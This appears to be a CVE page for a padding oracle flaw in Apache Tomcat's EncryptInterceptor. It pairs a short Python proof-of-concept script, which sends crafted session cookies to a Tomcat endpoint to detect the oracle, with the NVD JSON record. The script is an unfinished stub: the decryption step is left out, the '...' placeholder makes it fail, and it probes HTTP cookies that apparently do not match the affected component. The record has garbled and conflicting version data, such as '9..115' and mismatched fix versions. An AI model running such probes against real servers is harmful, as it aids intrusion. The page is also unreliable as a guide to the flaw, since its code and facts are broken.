CVE-2026-29146

import requests import binascii # Proof of Concept Concept for Padding Oracle # This script demonstrates how to detect a padding oracle vulnerability. TARGET_URL = "http://target-tomcat:8080/encrypted-endpoint" ENCRYPTED_COOKIE = "..." # Replace with actual encrypted cookie/header def check_oracle(ciphertext): headers = {'Cookie': f'JSESSIONID={ciphertext}'} try: response = requests.get(TARGET_URL, headers=headers, timeout=5) # Analyze response: Different status codes or response times indicate an oracle if response.status_code == 500 and "padding" in response.text.lower(): return True # Padding error detected elif response.status_code == 200: return False # Valid padding (or handled error) except Exception as e: print(f"Error: {e}") return None # In a real attack, an attacker would modify the ciphertext byte by byte # and use the check_oracle function to deduce the plaintext. print("Starting Padding Oracle detection...") # Example logic to flip bytes (simplified) block = binascii.unhexlify(ENCRYPTED_COOKIE) print(f"Testing block: {block}") # ... full decryption logic would go here ... print("PoC execution completed.")

{"cve": {"id": "CVE-2026-29146", "sourceIdentifier": "[email protected]", "published": "2026-04-09T20:16:24.577", "lastModified": "2026-04-14T12:56:21.453", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Padding Oracle vulnerability in Apache Tomcat's EncryptInterceptor with default configuration.\n\nThis issue affects Apache Tomcat: from 11.0.0-M1 through 11.0.18, from 10.0.0-M1 through 10.1.52, from 9.0.13 through 9..115, from 8.5.38 through 8.5.100, from 7.0.100 through 7.0.109.\n\nUsers are recommended to upgrade to version 11.0.19, 10.1.53 and 9.0.116, which fixes the issue."}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N", "baseScore": 7.5, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "NONE", "availabilityImpact": "NONE"}, "exploitabilityScore": 3.9, "impactScore": 3.6}]}, "weaknesses": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-209"}, {"lang": "en", "value": "CWE-642"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:apache:tomcat:*:*:*:*:*:*:*:*", "versionStartIncluding": "7.0.100", "versionEndIncluding": "7.0.109", "matchCriteriaId": "21FCAD61-9B9D-4780-9EE2-2F28B3F951F5"}, {"vulnerable": true, "criteria": "cpe:2.3:a:apache:tomcat:*:*:*:*:*:*:*:*", "versionStartIncluding": "8.5.38", "versionEndIncluding": "8.5.100", "matchCriteriaId": "769FDDAB-B636-43A6-BB06-CCE9185D5EA6"}, {"vulnerable": true, "criteria": "cpe:2.3:a:apache:tomcat:*:*:*:*:*:*:*:*", "versionStartIncluding": "9.0.13", "versionEndExcluding": "9.0.116", "matchCriteriaId": "6CEA1F89-5276-42AF-819C-AF901A037E22"}, {"vulnerable": true, "criteria": "cpe:2.3:a:apache:tomcat:*:*:*:*:*:*:*:*", "versionStartIncluding": "10.0.0", "versionEndExcluding": "10.1.53", "matchCriteriaId": "2092BF25-09E0-4601-B553-A2506C879028"}, {"vulnerable": true, "criteria": "cpe:2.3:a:apache:tomcat:*:*:*:*:*:*:*:*", "versionStartIncluding": "11.0.0", "versionEndExcluding": "11.0.20", "matchCriteriaId": "1F39B82B-0E67-459D-8065-2C6EE7970D0D"}]}]}], "references": [{"url": "https://lists.apache.org/thread/lzt04z2pb3dc5tk85obn80xygw3z1p0w", "source": "[email protected]", "tags": ["Mailing List", "Vendor Advisory"]}, {"url": "http://www.openwall.com/lists/oss-security/2026/04/09/24", "source": "af854a3a-2127-422b-91ae-364da2661108", "tags": ["Mailing List", "Third Party Advisory"]}]}}